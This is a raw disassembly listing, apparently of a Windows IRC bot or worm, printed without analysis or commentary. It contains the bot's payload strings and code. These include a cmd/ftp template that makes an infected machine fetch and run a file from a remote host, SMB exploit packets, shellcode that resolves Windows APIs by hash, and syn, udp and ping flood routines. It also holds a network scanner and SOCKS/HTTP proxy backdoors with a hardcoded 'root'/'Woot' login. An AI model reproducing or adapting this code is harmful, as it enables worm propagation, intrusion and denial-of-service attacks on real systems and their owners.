0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FFC dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C dd 6469706Bh, 7325203Ah, 0dword_444018 dd 203A736Bh, 7325hdword_444020 dd 202E6425h, 7325202Fh, 0dword_44402C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_4440A8: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 off_444324 dd offset word_616C4E ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44433C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444410: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444448 dd 1BDh ; sub_422A40+310o ... off_44444C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444450 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 off_44457C dd offset dword_622D20 ; DATA XREF: sub_422A40+747o off_444580 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... dword_444584 dd 722D20h ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44467C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_424840+BDo align 10h dword_444840 dd 10FF8h, 0 dword_444848 dd 10FF8h dword_44484C dd 7FFDF020h, 0 dword_444854 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44490C dd 0 dword_444910 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444918 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A14 push dword ptr [esi] push 63D61209h call sub_444A2A mov [esi+8], eax call sub_4449DD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A2A mov [esi+0Ch], eax call sub_44498F push dword ptr [esi+4] push 4C0297FAh call sub_444A2A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444918 endp ; =============== S U B R O U T I N E ======================================= sub_44498F proc near ; CODE XREF: sub_444918+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449B8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44498F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449B8 proc near ; CODE XREF: sub_44498F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449C7: ; CODE XREF: sub_4449B8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449D4 inc ebx jmp short loc_4449C7 ; --------------------------------------------------------------------------- loc_4449D4: ; CODE XREF: sub_4449B8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449DD proc near ; CODE XREF: sub_444918+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449F5: ; CODE XREF: sub_4449DD+1Ej cmp [ecx], ebx jz short loc_4449FD mov ecx, [ecx] jmp short loc_4449F5 ; --------------------------------------------------------------------------- loc_4449FD: ; CODE XREF: sub_4449DD+1Aj mov edx, edi loc_4449FF: ; CODE XREF: sub_4449DD+2Aj cmp [edx+4], ebx jz short loc_444A09 mov edx, [edx+4] jmp short loc_4449FF ; --------------------------------------------------------------------------- loc_444A09: ; CODE XREF: sub_4449DD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449DD endp ; =============== S U B R O U T I N E ======================================= sub_444A14 proc near ; CODE XREF: sub_444918+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A14 endp ; =============== S U B R O U T I N E ======================================= sub_444A2A proc near ; CODE XREF: sub_444918+16p ; sub_444918+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A40: ; CODE XREF: sub_444A2A+33j jecxz short loc_444A7A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A4D: ; CODE XREF: sub_444A2A+2Dj lodsb cmp al, ah jz short loc_444A59 ror edi, 0Dh add edi, eax jmp short loc_444A4D ; --------------------------------------------------------------------------- loc_444A59: ; CODE XREF: sub_444A2A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A40 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_444A7A: ; CODE XREF: sub_444A2A:loc_444A40j ; sub_444A2A:loc_444A7Aj jmp short loc_444A7A sub_444A2A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A80 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AD2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A9D: ; CODE XREF: sub_444A80+38j jecxz short loc_444ACD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444AA8: ; CODE XREF: sub_444A80+32j lodsb test al, al jz short loc_444AB4 ror edx, 0Dh add edx, eax jmp short loc_444AA8 ; --------------------------------------------------------------------------- loc_444AB4: ; CODE XREF: sub_444A80+2Bj cmp edx, [esp+arg_0] jnz short loc_444A9D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ACD: ; CODE XREF: sub_444A80:loc_444A9Dj mov [esp+arg_0], ebx retn sub_444A80 endp ; =============== S U B R O U T I N E ======================================= sub_444AD2 proc near ; CODE XREF: sub_444A80+7p ; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444AEB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AF6 ; --------------------------------------------------------------------------- loc_444AEB: ; CODE XREF: sub_444AD2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AF6: ; CODE XREF: sub_444AD2+14j pop edi xor esi, esi pusha push esi jmp short loc_444B0A sub_444AD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AFD proc near ; CODE XREF: sub_444AD2:loc_444B0Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AFD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AD2 loc_444B0A: ; CODE XREF: sub_444AD2+29j call sub_444AFD ; END OF FUNCTION CHUNK FOR sub_444AD2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444BA4 dd 23h dword_444BA8 dd 60h dword_444BAC dd 62B0606h, 2050501h, 0A0hdword_444BB8 dd 0A1h dword_444BBC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BC8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BD0 ; --------------------------------------------------------------------------- align 10h dword_444BD0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C78: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C7C ; --------------------------------------------------------------------------- loc_444C7A: ; CODE XREF: ___:loc_444C7Cp jmp short loc_444C81 ; --------------------------------------------------------------------------- loc_444C7C: ; CODE XREF: ___:loc_444C78j call loc_444C7A loc_444C81: ; CODE XREF: ___:loc_444C7Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C86 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C8B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C90: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C94 ; --------------------------------------------------------------------------- loc_444C92: ; CODE XREF: ___:loc_444C94p jmp short loc_444C99 ; --------------------------------------------------------------------------- loc_444C94: ; CODE XREF: ___:loc_444C90j call loc_444C92 loc_444C99: ; CODE XREF: ___:loc_444C92j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C9D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444CA1 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444CA8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444D0C dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D1C dd 74656720h byte_444D20 db 20h ; DATA XREF: sub_425270+A2r dword_444D21 dd 0E8006A00h dword_444D25 dd 17h ; sub_425270+D2r dword_444D29 dd 0E8C30175h dword_444D2D dd 1 ; sub_425270+E7r byte_444D31 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D3B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F40 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445230 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445258 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445338 dd 1000005h, 0 dword_445340 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:00445408o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454E4 dd 524F5453h byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454EC dd 52544552h byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454F4 dd 5453494Ch byte_4454F8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454FC dd 54534C4Eh byte_445500 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_445504 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 